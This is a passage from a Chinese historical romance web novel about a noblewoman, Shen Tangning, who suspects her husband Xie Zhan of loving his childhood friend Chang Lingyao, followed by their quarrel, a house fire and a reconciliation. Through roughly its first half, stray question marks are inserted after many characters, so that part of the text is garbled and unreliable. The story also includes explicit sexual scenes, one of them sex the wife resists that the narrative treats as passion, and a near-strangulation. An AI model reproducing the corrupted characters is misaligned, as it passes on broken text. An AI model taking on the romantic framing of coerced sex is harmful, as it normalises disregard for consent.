“咱们姑爷素来重?情重?义,便?是为?着幼时的情谊,那也是不能的,她必定是瞧准了?这一点,才胁迫了?姑爷,又引您相见,说这些话故意挤兑您,夫人您若是信了?她的话猜忌姑爷,才是中了?她的算计呢!” 沈棠宁岂能不知锦书的意思,只?是,她比锦书更清楚常令瑶在谢瞻心目中的地?位。 她难过的是,倘若谢瞻真心与常令瑶清清白白,为?何不与她说实话呢? 倘若谢瞻还喜欢常令瑶,又为?何要与她做夫妻? 先前嫁给谢瞻,是阴差阳错,逼不得已,她并不想拆散真心相爱的两人。 还是说谢瞻娶她,不是他不想,单是因为?他不能够娶常令瑶? 因为?他曾说过,以镇国公府如今的状况,他为?明哲保身,便?不能再尚公主,娶世家贵女。 谢瞻明显感?觉到今夜的沈棠宁兴致不高。 他在外面训兵累了?一天,回来就想搂着她与她好生温存说会?儿话,沈棠宁却避开了?他搂过来的手道:“我今夜不太舒服,睡吧。” “哪里不舒服,我去叫大?夫过来?”谢瞻立即起了?身拉开帐子。 沈棠宁忙道:“不用叫大?夫……”她只?是有些心累,闷声道:“我小日子来了?。” 谢瞻算算日子,确实是该到日子了?。 他放了?心,勾好帐子,躺回去搂住她。 “还是这里疼?没事儿,我给揉揉就没那么难受了?。” 来了?月事,沈棠宁不知是松了?口气,还是心里有些落寞。 哪怕是在琅琊那夜唯一的一次欢好,她看得出来谢瞻很不高兴,仍是注意着没有弄到她身子里。 后来她答应谢瞻,两人做了?真夫妻,他依旧是很注意,不知从?哪里弄来了?一样名为?“如意袋”的物什,每回行事前戴上。 此物王氏给她见过,只?不过那时两人是货真价实的假夫妻,用不上。 如今做了?夫妻,她理应尽到妻子的责任,为?谢家开枝散叶。 在谢氏旁人眼中,她嫁进谢家三年仅仅生了?女儿圆姐儿,作为?镇国公府的世子,她还要为?谢瞻生下嫡子。 可是谢瞻却在避孕。 这些事情,沈棠宁通通都想不明白。 开口,却要她如何厚颜开口? 八月?*初一这日,郭尚预备与谢瞻在平凉城外校兵,以震慑张元伦,鼓舞士气。 因此,这几日他便?愈发?得忙碌,几乎早出晚归。 这日清晨,沈棠宁尚在睡梦中睡得迷迷糊糊便?被谢瞻闹醒。 等她反应过来的时候,已被他得逞。 谢瞻重?重?压在她的身后,令她动?弹不得。 这两日她睡得都不大?好,小日子也昨天才走,一点都不想那事。 实际上与谢瞻相比,她就不是很热衷于床.笫之?事,比起身体的紧密契合,她更喜欢寂静深夜里两人亲密的相拥与私语。 只?不过谢瞻喜欢,有时纵她疲倦,也打起精神来应付。 气性突然上来,她一不做二不休,指甲掐进去,在谢瞻手臂上狠狠挠了?长长一道。 谢瞻一时不防,疼得轻嘶一声,诧异地?低头看了?怀中的小女子一眼。 沈棠宁平素性格温顺,偶有与他吵架拌嘴,发?怒的模样谢瞻也觉可怜可爱。 这段时日两人好得如同蜜里调油的新婚夫妻一般,耳鬓厮磨,除了?白日里他不在的时候,晚上恨不得是要每时每刻都黏在一处,形容不离。 或是你?弹琴,我舞剑作陪,或是你?看书处置军务,我在一旁做针线端茶水红袖添香。 情到浓时,沈棠宁对他几乎算是予取予求。 所谓温柔乡,英雄冢,当?真叫人沉沦其中难以自拔。 沈棠宁彻底清醒了?,她不知大?谢瞻是发?了?什么疯,一个翻身将她摁在枕上就狠狠行了?起来,她越是抓挠反抗,他竟越是兴奋。 情事散了?,他将她趴在枕上奄奄一息的她翻回身来,沈棠宁已无力?挣扎了?,所幸是背对着他,眼不见心不烦,任由他腆着脸抚摸亲吻她的背。 两刻钟后,东方?曦光微破,谢瞻给沈棠宁盖好被子,浑身清爽地?穿衣去了?。 谢瞻走后不多时,沈棠宁也披头散发?坐起来了?,她揉着微微酸疼的小腹,呆看着锦被上那绣着的一对交颈缠绵的鸳鸯。 “夫人不再睡一会?儿,难道还真要去赴常氏的约?” 锦书见她脸色红润,眼底却略有些憔悴不由担心地?道。 昨日常令瑶私下给沈棠宁送来帖子,邀她辰时在棋盘巷一会?。 锦书认为?常令瑶居心叵测,哪有一大?早邀人去家中玩耍的,摆明了?是场鸿门宴,不想让沈棠宁过去。 韶音却认为?身正不怕影子斜,倘若谢瞻行事清白,自然不怕人去看。 两人公说公有理婆说婆有理,沈棠宁自然晓得常令瑶对她有敌意,这次说不准便?是个鸿门宴。 可常令瑶那日说的话,便?如一根刺般扎在了?她的心里,叫她夜不能寐,寝食难安。 沈棠宁不愿做糊涂人,她宁可做明白鬼,不论常令瑶如何,兵来将挡,水来土掩便?是了?。 …… 却说那厢谢瞻按时点卯,一路骑马上衙,脑子里想的却尽是早晨与沈棠宁那一回的滋味。 路过早市,看到路边关着大?门的珍宝阁,忽了?然,心里想道:这两日我忙于军务,对她多有疏忽,今早又一时没忍住,对她孟浪了?些……定是因此她才闹了?脾气,不如下晌早些回家,给她带几匣好看的首饰,她见了?定展颜欢喜。 这般想着,谢瞻归心似箭,只?想抓紧处理完公务回去陪沈棠宁。 待到了?衙门上,下头有人来报,说是棋盘巷子那位出事了?,要见他最后一面。谢瞻冷笑一声,他岂能不知常令瑶的惯用伎俩,无非一哭二闹三上吊,本来厌烦得不想再管她,突然想到一事,扭头就赶去了?棋盘巷子。 于是等沈棠宁坐马车到棋盘巷子时,恰好看见谢瞻骑马从?常令瑶宅中的大?门首里走出来,上马而去。 房内,常令瑶上身只?着了?件清凉的红绸梅花抹胸裙,外披一条白绫纱衣。 她乌发?凌乱,脸色红若胭脂,仿若刚经历过一场酣畅淋漓的鱼水之?欢,手中摇着把花鸟团扇,一面拢着鬓发?,一面风情万种地?从?里屋掀帘走了?出来。 “你?来了??真是不巧,二郎刚走了?,都没来得及与你?打声招呼。” 眼看着沈棠宁脸色一点点变白的可怜模样,常令瑶心中一阵痛快。 世上美人不计其数,沈棠宁之?美,美在脱俗出尘,便?是她远远站在人群之?中,都能让人一眼看到她。 她永远都是这幅楚楚可怜,乞求男人爱怜的神情,即使伤心难过,也只?会?惹得旁人怜惜担忧, 常令瑶用扇柄挑起沈棠宁的下巴。 “瞧瞧,真是个我见犹怜的美人,脸色都白成?这般了?还在强撑着。呵,你?便?是做了?他名正言顺的妻子又如何,他不还是为?了?一夕之?欢在这里与我做夫妻,我与他青梅竹马,从?小一起长大?的情分?,岂是你?能比的!” 她说得咬牙切齿,谢瞻来到这里,和她拢共说了?不过三句话,让她明天就滚回京都去,旋即二话不说就又走了?,无论她如何哭求。 她却看见了?谢瞻脸上与颈间的挠痕,还透着新鲜血丝的挠痕。那绝不是寻常的伤痕,她也曾嫁为?人妇,与薛文廷举案齐眉,怎能不知这是女子在床笫之?间的挠痕。 一瞬间常令瑶如堕冰窟—— 她深深爱着的这个男人,在见她之?前刚同别的女人欢.好过,她浑身气到发?抖,发?颤,原本她只?想羞辱沈棠宁,可现在她改了?主意。 她要报复沈棠宁,这个夺走了?她一切的女人,她是一切的始作俑者,常令瑶好恨,每一晚的午夜梦回她都恨意满腔。 若不是沈棠宁抢走了?谢瞻,她也不会?被祖父匆匆嫁给薛文廷,也就不会?年纪轻轻便?丧夫守寡,沦为?众人眼中的笑柄。 是沈棠宁害得她沦落至此,她就是要看着她痛苦! “你?想如何,和我直说吧。” 沈棠宁后退两步,看着常令瑶说道。 “我想如何?” 常令瑶冷笑道:“我与二郎才是天作之?合,是你?拆散了?我们,他对你?好,不过是看着孩子与几分?夫妻情面,所以我要你?自请和离,成?全我和他!”- 谢瞻在平凉府最大?的银楼珍宝阁中挑选了?一整套的东珠赤金头面,让掌柜的用簇新的檀木匣装了?起来。 回府时申正两刻,比平日里晚了?两刻钟的功夫。 谢瞻准备给沈棠宁一个惊喜,将檀木匣交给长忠让他先保管着。 沈棠宁坐在琴案前发?着呆,有一人悄无声息地?走到她的身后,将她一把抱住。 他身上是熟悉的瑞脑香,混合着男人身上独特的清冽的气息。 谢瞻。 沈棠宁以往并不讨厌这味道,今日却觉得膈应得很,在他亲过来的时候,偏过了?头去。 “怎么了??” 谢瞻看她皱起了?鼻子,一哂,闻了?闻自己身上的味道。 去珍宝阁选礼物耽搁了?些时间,他急着赶回家,身上的确有点儿味儿。 谢瞻仍想着今早的滋味,如今心心念念的人儿在眼前,哪里忍得住,凑到沈棠宁耳边低语一声。 “宁宁,我去沐浴更衣,等我。” 他用指腹轻轻蹭了?下脖颈间雪白的肌肤,别有意味地?一笑,低沉的声线顺着灼热的气息传入她的耳洞中,所过之?处酥酥麻麻。 沈棠宁身子一僵。 谢瞻大?步去了?净房。 等他三两下洗完,出来的时候却发?现妻子还坐在那琴案前一动?不动?,连姿势都没变,眼底的笑意就慢慢淡了?下来。 今日的沈棠宁,不太对。 他不动?声色地?扔了?擦头发?的巾子在衣槅上,走到沈棠宁面前将她往膝上一揽,拨弄着她耳边的一只?垂珠缠金的耳坠子道:“怎么了?,守着这琴坐了?半响也不弹,弹一曲给我听听?” “你?想听什么?” 沈棠宁问他。 谢瞻说:“都成?,你?弹的我都爱听。” 沈棠宁便?坐了?起来,给他弹了?一首时下流行的曲调,诗经邶风中的《燕燕于飞》。 谢瞻越听,剑眉却拧了?起来。 这诗歌词意境都十分?凄凉,讲的是诗人送爱人出嫁,与爱人相爱却不能相守,只?能眼睁睁看着她所嫁他人的故事。 谢瞻自是不知沈棠宁弹奏的是那首诗,他是武夫,心思称不上多细腻体贴,与沈棠宁朝夕相处日久,却也能体察她情绪的细微变化。 这两日,沈棠宁心情郁郁,谢瞻以为?她是来了?月事备懒,兼之?他与张元伦决战的日期将至,整日事务繁忙,不能常常陪伴在她身旁,偶尔在床事上还有些过分?的缘故。 沈棠宁弹奏完毕,谢瞻未表现出不满,只?摸着下巴道:“弹得很好,就是听着曲调悲凉了?些。古人吹箫给丧,我以前常听人说箫声幽咽,有一日乘船江上,听那远处画舫之?中果真箫声呜咽,如泣如诉。我从?前倒也被先生逼着学?过,因不感?兴趣,仅学?了?个皮毛便?将那管箫束之?高阁了?,不知夫人可会?吹箫?” 沈棠宁的娘温氏出身不高,虽学?识比不得大?家闺秀,却极擅音律丹青,是街坊前后有名的才女,幼时沈棠宁便?随着温氏耳濡目染。 后来郭氏见她奇货可居,特意请了?女师傅来教授她琴棋书画,莫说是吹拉弹唱的乐器,便?是歌舞一道她亦略有涉猎,不过是不像她喜欢弹琴一般痴迷精通罢了?。 沈棠宁起身想走。 “我不会?。” 谢瞻却压住了?她的裙摆不让她走。 “我一猜夫人便?不会?。” 沈棠宁被迫坐了?回去。 两人跽坐在一张玉簟上,谢瞻侧身倚在琴案上,一条腿随意地?屈支着,另一条大?长腿则伸过去压住了?沈棠宁的裙摆。 这种极不美观文雅的姿势,在他做来却别有种放浪不羁的味道。 沈棠宁赶紧去抽自己的裙摆,谢瞻就把另一条腿搭在了?她的腿上。 男人的腿笔直健硕,充满力?量。沈棠宁推不开,反摸到一手的毛,连忙收回手。 “你?做什么?” 谢瞻笑道:“我想听夫人吹箫。” “我没有那乐器。” “你?自然没有,但我有。” 谢瞻忽地?握住沈棠宁的纤纤柔荑,揉了?揉,在她耳旁轻笑着吹气儿道:“就在我身上有管‘无孔箫’,宁宁不妨找找在哪里,你?若找到了?,我把它送你?天天使着玩儿。” 拉着她的手便?往他衣服里,他笑得甚是下流暧昧,沈棠宁毛骨悚然,拼命想挣脱。 实在不是沈棠宁胆小,每回谢瞻这样对她笑,准没好事。 譬如某次他也是这样笑着灌了?她几盅酒,趁她醉得酒意朦胧之?际将她剥了?个精光,诱骗她用她的、她的胸口替他纾解,做尽了?她清醒时做不出来的那种事。 等她清醒之?后回忆起那晚发?生的事,简直羞愤欲死,他却无赖地?说这叫做夫妻情趣! “你?,你?先放手!我吹给你?听便?是了?!” 看着她害羞躲闪的脸蛋,掌下盈盈难握的纤细腰肢,那抹雪腻香峰以往如同高岭之?巅般难以接近,如今却可随意采撷。 谢瞻已是心旌神荡,心头宛如被猫爪子挠过一般酥麻,忍不住紧紧贴上她的玉颈,舔吻她的耳垂。 “独弦琴一翕一张,无孔箫统上统下。琴箫本是绝配,宁宁,你?说是也不是,今晚我为?你?弹琴,你?也帮我吹箫可好?” 沈棠宁一时没反应过来谢瞻的意思,直到谢瞻握着她的手蹭了?两下,她“啊”一声,终于明白过来他的话中之?意。 抬眼一看,果见他满脸别有意味的坏笑,一张俏脸上顿时红白交加。 这个……这个坏胚,竟然还想她用……帮他…… 她“噌”的收回自己着火般的手,背过身去,死死咬住自己的唇瓣,闭上眼。 她真不明白他哪里来的那么多精力?,周旋于她与常令瑶之?间,他既然还爱着常令瑶,早晨晚上都要去陪着她,为?何还要来招惹挑逗她? 就在今天早上,去寻常令瑶之?前,她明明已十分?生气了?,还要强行与她欢.好。 从?她房里前脚离开,后脚又去寻常令瑶……想到早晨见到常令瑶从?房中出来时,她那副春情得意的模样,而他晚回来的这两刻钟,说不准又是从?她的房中出来,沈棠宁心内便?如同吞了?十万只?苍蝇一样恶心。 以往谢瞻逗她,沈棠宁不是羞恼地?捶打他,便?是捂着脸不肯说话,她今日这样的反应着实古怪了?些。 “宁宁,你?今日是怎么了??” 谢瞻笑意微凝,握住她的肩膀,将她轻轻转过身来,低声不解地?问。 “你?……就没有话想对我说?”沈棠宁看着他问。 想对她说的话? 谢瞻还真想到一件。 常令瑶来了?平凉府这件事,他一直没有知会?沈棠宁。 薛文廷战死后,常令瑶为?薛文廷守孝三个月,常俭到底不舍得小孙女吃苦,与薛家通信,想把常令瑶接回京都守孝。 薛夫人是常令瑶的姨母,父亲都发?话了?,她自然不会?横加阻拦。常令瑶由亲信护送回京,中途却生了?场大?病,听闻谢瞻带兵在平凉驻扎,便?特来投奔。 十日前初见面时,谢瞻观她面色确实不佳,再说两人至今已无任何瓜葛,于情于理,常令瑶想住哪里谢瞻也管不着。 他并不觉得这是一件特别需要告诉沈棠宁的事情。 “没有。” 短暂的沉默后,他毫不犹豫地?说道。 沈棠宁定定看着他那双狭长的凤眼。 他的沉默……不是已经说明一切了?吗? 其实她的心里早就做好了?准备,她自小便?知道,男人三妻四妾实属平常,即便?是真心悦慕她的萧砚,在遇见她之?前房中也有一位从?小便?侍候他的通房丫鬟。 据他的妹妹萧薇所说,那丫鬟是萧砚乳母的女儿,是萧砚十八岁时,由萧老夫人做主开了?脸送给他的。 她见过那丫鬟,生得温柔可人,小家碧玉,那时,她不也默默接受了?这一切吗? 谢瞻的家世,样貌,才干,无一不是一等一的人上之?人,这样的男人,纵使她美若天仙,又怎么可能独占他一生一世? 心里的那个声音告诉沈棠宁,这就是女人的命,她合该去接受这一切,至少谢瞻在遇见常令瑶后,并没有立即休弃她,反而对她态度一如往昔。 只?是……只?是她不甘心,为?何偏偏在她决定接受了?谢瞻之?后,他又遇见了?和离归家的常令瑶。 如果她早能预料到这一切,无论如何也不愿去做这个恶人拆散他们。 而谢瞻,如若他心里还有常令瑶,就该早些告诉她真相,她不想被欺骗隐瞒,那显得她格外可笑! “今日,我见过永宜县主了?。” 沈棠宁推开谢瞻的手。 第69章 “今日,我见过永宜县主了。” 沈棠宁的声音极平静。 谢瞻剑眉紧皱。 他沉声道:“是她主动见你的?宁宁,她是不是和?你说过什么?了?” 沈棠宁垂下长长的睫毛,“阿瞻,其实你不必瞒我。你若心里还有永宜县主,我不会横加阻拦你和?她……啊——” 她忽惊呼一声,因为谢瞻抓住了她的手腕。 “你什么?意思?!” 谢瞻是武夫,平日里控制不好力道搂沈棠宁一下都让会她觉得呼吸困难,眼?下他突然发力,力道没有五成便?已令沈棠宁疼得冷汗直冒了。 “我的意思是,你若真心喜欢她,就等我们和?离之后再去提亲,你不用觉得亏欠了我,我会主动与你和?离,不会再纠缠于你,只是圆姐儿,我是一定要带走?了。” 她忍着疼,尽量平静地道。 常令瑶对她的态度,叫她实在难以放心再将圆姐儿留在镇国公府。 谢瞻待她数次救命之恩,她不想强求谢瞻为了她不去娶自己喜欢的女子,那不公平,唯一的法子,便?是带走?圆姐儿。 这数日来的恩爱缠.绵,全化作兜头浇下的刺骨冰水。 刹那间?,谢瞻浑身的血液似乎都在凝固冰冷。 “在你眼?里,我谢瞻难道就是这样朝秦暮楚的男人??”他不敢置信地质问。 沈棠宁沉默。 谢瞻又道:“那你呢?你可真是位贤良大度的好妻子,沈棠宁,你把?我推给常令瑶,有问过我愿不愿意吗?你凭什么?替我来做主?” 话说到最后,每一字都几?乎是从牙缝里挤出来的。 沈棠宁轻声道:“我在问你愿不愿意……” “你闭嘴!” 谢瞻骤然暴怒,喝断她的话道:“我的意愿有用吗?你根本就不在乎!我对你再好,也捂不热你的心!你劝我对三番两?次掳走?你的宗瑁手下留情,为了不过几?面之缘的执失伯都数十日都不肯理睬我,沈棠宁,倪为何独独待我如此??有时我真想将你的心也剖出来看看,看看它究竟是不是石头做的!” 谢瞻总以为沈棠宁就算不爱他,总也对他有情,天长地久,海枯石烂,她永远是他的妻,只要他一直待她好,终有一日她也会心甘情愿爱上他。 他不怕沈棠宁不爱他,只恨自己满腔的情意,换来的是她一次又一次的无动于衷。 可每次只要她愿意朝他露出一个笑脸,他便?又会像只哈巴狗一样贱的凑到她身边摇尾乞怜! 他真痛恨这样的自己! 谢瞻冷笑着摔门而去。 他一走?,锦书和?韶音便?连忙进来扶住浑身瘫软的沈棠宁,将她扶到床上。 “夫人?,这到底是发生什么?事了?姑爷这次怎么?发这样大的脾气!”韶音拍着胸口,犹心有余悸地道。 沈棠宁一语不发,俄而,两?婢见有泪水簌簌而下,滚落到那白绸的裙摆之上,晕染开大片的水渍。 沈棠宁捂着脸,泣不成声。 锦书与韶音齐齐一惊,低低叫道:“姑娘!” 锦书赶紧问:“姑娘,你和?姑爷,这次是不是因为常氏生了龃龉?” 锦书既心疼沈棠宁,又怨谢瞻每回发脾气时的雷霆震怒,一句话解释也无便?摔门而去,留下妻子独守空房,这对解开误会根本毫无作用。 韶音自责地掉眼?泪,“都怪我!若不是我今早撺掇姑娘去见常氏,也许就不会……” 锦书说:“好了,你每回都是这样,事已至此?,说什么?也没用了!” …… 谢瞻从节度使府中?出来,骑着白蹄乌一路狂奔向西去。 夜风呼呼地吹在他的脸上,后背额头生出汗来,此?刻他的心内,肝肠肺腑却如同油煎火撩,刀割相侵,痛苦万分。 一时想到沈棠宁靠在他怀中?时笑靥如花,含羞带怯的容颜,一时又想到刚刚她轻描淡写地要将他让给常令瑶的情景。 节度使府在城北,谢瞻从城北一路跑到城西,到了城门口才发现早已过了酉时,城门紧闭,他出不去。 他也不知自己要去往何处,该去往何处。 黑灯瞎火,守城门的士兵远远便?见一匹赫赫威仪,通体毛色油亮乌黑的骏马白色的四蹄嗖嗖,朝着城门的方向腾骧奔来,还诧异是哪个大晚上不睡觉竟纵马在夜间?狂奔。 紧接着便?认出了,这匹马岂不是他们谢将军的爱马白蹄乌,再仔细一看,原来那马上果真还坐着一人?,只见此?人?一身黑衣束腰,蜂腰猿臂,身形挺拔而高大,不是谢瞻,满平凉城恐怕也找不出这般风姿的人?物了。 守城的士兵还疑惑这谢将军怎的大半夜要出城,莫非是出了什么?军情急事? 刚要殷勤上前寒暄一番,谢瞻却顿住马,片刻后,调转马头疾驰而去,很快便?消失得无影无踪- 半夜三更,常令瑶在床上辗转反侧,迷迷糊糊中?正要入眠,忽听外头传来噼里啪啦的拍门声与狗吠声。 直过了好一会儿,那急重?的脚步声很快便?朝着她的闺房而来,常令瑶惊坐而起,匆匆穿上衣服趿拉了鞋坐起来,谢瞻就破门而来。 “二郎,你怎么?来了!” 看见谢瞻,常令瑶忙欢欣不已地迎上去,走?到人?面前,借着庭院中?微弱的烛光,却见他那张英俊的脸庞上满是阴沉狠厉,常令瑶吓得心肝一颤,情不自禁往后退步。 “二郎,你这是做……呃……” 脖颈猛地被人?掐住,常令瑶瞪大双眼?,抓住他的手,急急向后,后背撞到墙壁上,剧痛无比。 然而待看清楚谢瞻眼?底的杀意,常令瑶更是心中?大骇。 谢瞻却只是冷冷地看着她,那眼?神仿佛在看一样死?物。 呼吸逐渐困难,脑中?一片空白,常令瑶急忙推他,喉咙中?发出嗬嗬的声音,不住摇头哀求,泪水滴落到谢瞻的手腕上。 常令瑶的丫鬟婆子们纷纷被吓到一佛出世二佛升天了,一个个呆呆站在门口不敢入内。 就在常令瑶以为自己将命丧谢瞻手中?,闭目等死?时,紧攥着她脖颈的那双手却骤然松开。 空气大量涌入,常令瑶一边大口大口呼吸着,一面“咕咚”一声顺着墙软倒在了地上。 “你为了她,要杀我?”她流着泪道。 “两?年前我就警告过你,让你不许接近她,再有下一次——” 他蓦地转身,那阴鸷的眼?神吓得常令瑶浑身一颤,急忙缩成一团辩解道:“我不知道你在说什么?,我什么?没和?她说!” “滚进来!”谢瞻喝道。 常令瑶的丫鬟红芍连滚带爬地进来,跪在地上哭道:“姑娘,是,都是谢世子逼奴婢说的!” 谢瞻慢慢蹲下来,毫不怜香惜玉地掰过常令瑶的下巴。 “现在,你立即收拾东西给我滚出平凉城,别让我再见到你,否则别怪我不顾念年少的情分,听明白了吗?” 常令瑶眼?中?热泪滚下,喃喃道:“你疯了,疯了,明明是我先与你相识,如果不是因为她,我才是你的妻子,为什么?,为什么?你会为了她这样对我……” 话说到最后,已有几?分哽咽绝望。 可是这世间?的情爱从来都没有道理,她先遇到了谢瞻,爱慕他,一心一意掏心掏肺地待他好,谢瞻却并不喜欢她。 甚至于,他对她是厌烦不屑的。 她早该明白的。 他从小就不爱笑,性情又冷僻,每回她在他身边叽叽喳喳,想尽办法想逗他开心,那时谢瞻是怎么?做的呢? 他刻薄地质问她是不是属鸡,她还没有反应过来谢瞻是在讥讽她,一脸天真地笑着反驳他说自己属虎。 是梁王告诉她,谢瞻是在嫌弃她聒噪。 这么?多年来,她满腔痴心错付,韶华空等,嫁了薛文廷,心里却还在想着念着他,如果不是因为那一晚她几?句锥心的话语,薛文廷也不会一怒之下去了战场。 今日的谢瞻对她之绝情,何尝不是昨日的她对薛文廷? 薛文廷从不会嫌弃她聒噪、暴躁,他会笑着说表妹是纯真可爱,可她竟为了一个不值当?的男人?害得自己一生孤寂,失去了最爱她的男人?,她真傻,真是傻啊! “我恨你,谢临远,我恨你!”常令瑶对着谢瞻的背影大喊道。 谢瞻头也不回地走?了。 当?夜,常令瑶便?离开了平凉。 沈棠宁这厢却是丝毫不知。自那日谢瞻与沈棠宁大吵一架后,接连三日,谢瞻都没再回过家。 是夜,月上枝头,一线月光洒入帐中?,沈棠宁睁眼?看着头顶的承尘,却久久不能入眠,仿佛入定一般。 白日里锦书劝她去找谢瞻服软,把?事情说清楚,她不明白自己错在何处。 坦白的说,她心里是怨谢瞻的。 情到浓时,他也会温柔地在她耳旁说那些甜蜜的私语,说要与她做一生一世的夫妻,她心里会不由自主地恍惚,谢瞻爱她吗? 她三岁失去兄长,七岁丧父,太需要一个人?去爱她了。 即使她内心深处渴望的是纯洁无瑕,从一而终的爱恋,可是她也知道那些只能是自己的痴心妄想。 那一日谢瞻告诉她,娶了她,她便?可以长久地陪伴着圆姐儿,何况她心里真的不讨厌他。 而他也喜欢她的善良孝顺,娶她之后皇帝便?不会再因他娶了一位世家贵女而多有忌惮。 这是两?厢得利的好事。 男人?三妻四妾,稀松平常,世道如此?,从答应真正与谢瞻做夫妻的那一刻起,沈棠宁心里就做好了准备,她要做一个温良恭顺的好妻子,来报答谢瞻对她的救命之恩。 常令瑶的出现,打破了她的幻想。 她不能自私地霸占谢瞻,更不想强迫自己委身做妾,做平妻。 她不明白自己究竟还要怎样做,谢瞻才会满意,难道说了那些话,把?自己的夫君拱手让给别人?,她的心里就不会难受吗? 不知不觉中?她昏沉睡了过去,或许是心里装着事,睡得一点不踏实,被浓烟呛醒的时候,沈棠宁一咕噜从床上爬了起来。 环顾四周,不幸的是火势已不知何时蔓延到了里屋,周身不论是床柱、地面的温度都滚烫,热得她大汗淋漓,下不去脚。 浓烟滚滚,沈棠宁想向往外?跑出去,却根本辨不清方向,只能听到周围有锦书和?韶音的哭喊。 她迅速将床头上没喝完的茶水泼在厚厚的枕巾上,用枕巾捂住口鼻,再拔下发上的簪子,狠狠对着自己的手腕划上一道,那剧烈的刺痛感使得她晕涨的大脑骤然清醒了过来。 所?幸天无绝人?之路,沈棠宁在浓烟中?摸来摸去,被她摸到了后窗上的窗栓,那后窗尚未被火势吞没,她拔掉窗栓从后窗跳了出去,跑了几?步终因窒息晕倒在了地上。 却说那厢这晚谢瞻夜半回家,本想在前院歇了,辗转反侧之际透过床畔轩窗,忽见后院浓烟滚滚,火势不可阻挡,猛地从床上弹起向后院疾步冲去,中?途遇到要来给他报信的保儿。 保儿解释了一路,那火是从上房院中?的左厢房烧起来的,到后院上房时长忠和?锦书正指挥着大家抬水灭火。 长忠见谢瞻过来,忙要迎过去,谢瞻两?步并做一步就上前揪住了他的衣领,厉声吼问道:“夫人?呢?!” 长忠颤声说:“夫,夫人?还在里面……世子,房门要烧塌了您不能进去!世子!” 长忠声嘶力竭的叫喊没有叫住谢瞻。 谢瞻丢开长忠,从一个小厮手中?夺过水桶往自己身上一浇,不顾一切地冲入了火海之中?。 这一切都发生的太过突然,以至于长忠和?锦书等人?都来不及阻止谢瞻,眼?睁睁看着谢瞻冲进去后,被烧得如炭焦黑的房门在熊熊大火中?轰然倒塌。 伴随着倒塌的房门,长忠肝胆俱裂,跪倒在地上。 此?时此?刻他的脑海中?就只剩下了一个念头—— 完了,所?有的一切都要完了…… 直到他耳旁响起那个熟悉的声音,在撕心裂肺地喊着谢瞻的名字。 “阿瞻,阿瞻!” 长忠瞪大双眼?,双目的焦距逐渐凝聚在那个女子的身上。 沈棠宁披头跣足,泪流满面,欲往火海中?去,被锦书和?韶音在一旁死?死?拦着,二婢苦苦哀求,让她冷静。 正房门塌了,保儿灵机一动绕到院后去,想看看能不能从后窗把?沈棠宁救出来,恰巧看见晕倒在后窗下的沈棠宁。 等沈棠宁由保儿搀扶着绕到庭院中?时,谢瞻已经冲入了火海中?。 大火将整间?屋子烧成了一个火球,滚烫的温度扑面而来,大风扬起,火势愈发剧烈,火舌甚至舔舐过她的发,四处都充斥着烧焦的味道,喧嚷的叫喊声、哭救声,沈棠宁的脑中?却是一片空白寂静,手脚俱冷。 一股绝望之感油然而生。 她从来没有想过谢瞻会死?。 这个在她眼?里无所?不能,战无不胜的男人?,他会死?吗? 不,他不会死?的! 锦书和?韶音一时没拦住,沈棠宁拉起地上的长忠,便?冲着来时的路拔足狂奔,走?到窗下,那白色浓烟从窗户里涌出来,沈棠宁咳嗽两?声,还未来得及说话,只得用手指着那窗户。 长忠见这处尚未被大火吞噬,说不准能从这里冲进去救出谢瞻,大喜,忙举刀砍去,只听一声巨响,木制的窗框倒在了地上。 长忠从保儿手中?接过被水湿透的衣服,从窗台上一跃翻了进去。 不过一炷香的功夫,赶在整间?屋子塌陷之前,他便?将谢瞻从屋里背了出来。 他出来没多时,那窗户处的房梁也坍塌了下来。 长忠将谢瞻背到前院,府医早在前头候着,见人?来了急忙合力将谢瞻抬到床上,翻开谢瞻的眼?皮,试探他颈部的脉搏检查。 “苏大夫,他怎么?样?”沈棠宁看着床上满面烫红的谢瞻,颤声问。 半响,苏大夫松说道:“幸好幸好,人?没有大事,有几?处灼伤较重?,只是吸入浓烟过多致使昏迷。” 又掀开他背部与左臂的衣服,却见七八处肌肤均有不同程度的烧伤,鼓着一个个黄色脓包,尤其是背部,有几?处竟被烧得皮肉翻滚焦黑,其伤之重?,难以描述。 沈棠宁眼?前一晕,泪水流了下来,若不是锦书扶着她,险些坐倒在地上。 苏大夫开了药,因谢瞻身上伤势较重?,他命人?抬来一只大浴桶,沈棠宁帮忙脱去谢瞻身上的衣服,遇到伤口黏连处,小心用剪刀剪去,从冰窖中?取来冰块保温,放入冷水中?,每隔一刻钟的时间?放一次水,浸泡了足?*有半个时辰之久。 之后便?是上药,喂药、包扎伤口,沈棠宁皆亲力亲为,苏大夫见她脸色苍白,走?路一瘸一拐,接连询问之下,才知原来沈棠宁的脚也受到了烫伤。 但沈棠宁说什么?也不肯躺到床上休息,只叫人?搬来一张大床谁在谢瞻的身旁。 大火灭后,沈棠宁一面照顾谢瞻,一面强打起精神来善后料理,府内连着正房,拢共烧毁了四间?屋子,谢瞻后背被跌下的房梁重?击,昏迷了三天三夜,沈棠宁便?衣不解带地守了他三天三夜。 到第三日下午,谢瞻终于醒了。 他睁开眼?,入目的是沈棠宁那张憔悴喜悦的面庞。 谢瞻一怔。 手慢慢伸出来,太久没有活动,手腕有些麻木。待掌心触到她那张柔嫩的脸蛋,以及其上温润的泪水。 确认她仍然活着以后,谢瞻闭上了眼?睛。 他不肯和?她说话。 或者说,他有些心灰意懒,凡登门来探病的宾客都被谢绝。 沈棠宁依旧每日照顾他,喂他吃药吃饭,涂抹药膏,那伤口溃脓,疼痛起来叫人?翻身不得,满身大汗,难以入眠。 谢瞻受过最重?的伤不过在床上躺了五六日了事,何曾被这样禁锢过,他脾气暴躁,难免发火,有时也冲着沈棠宁说许多难听的话。 沈棠宁一语不发,每每只默默承受着。 有一日她实在太困,靠在床沿睡了过去,迷迷糊糊中?被梦魇住,仿佛又回到了那晚的一片火海。 谢瞻在火海中?消失得无影无踪,她四处呼喊着他的名字,周围却没有一个人?理会她。 她终于绝望地大哭起来,眼?角的流下的泪被人?轻柔地楷去。 她惶然惊坐而起,扑入眼?前男人?的怀抱中?,泪水从香腮上不住滚落。 谢瞻低头看着在他怀中?像孩子一样哭泣的沈棠宁,心中?五味陈杂。 他明明应该生气,应该继续不理睬她,他要报复她,让她尝一尝真心被人?践踏的滋味,他也很想狠下心来再不见她…… 可他办不到,怎么?办呢。 她的眼?泪,只会令他心如刀绞。 谢瞻闭上眼?,复又睁开,眼?底凝结的冰霜,终在她一滴滴悲伤的眼?泪中?悄然土崩瓦解。 他心里微微叹了口气。 “别哭了。” 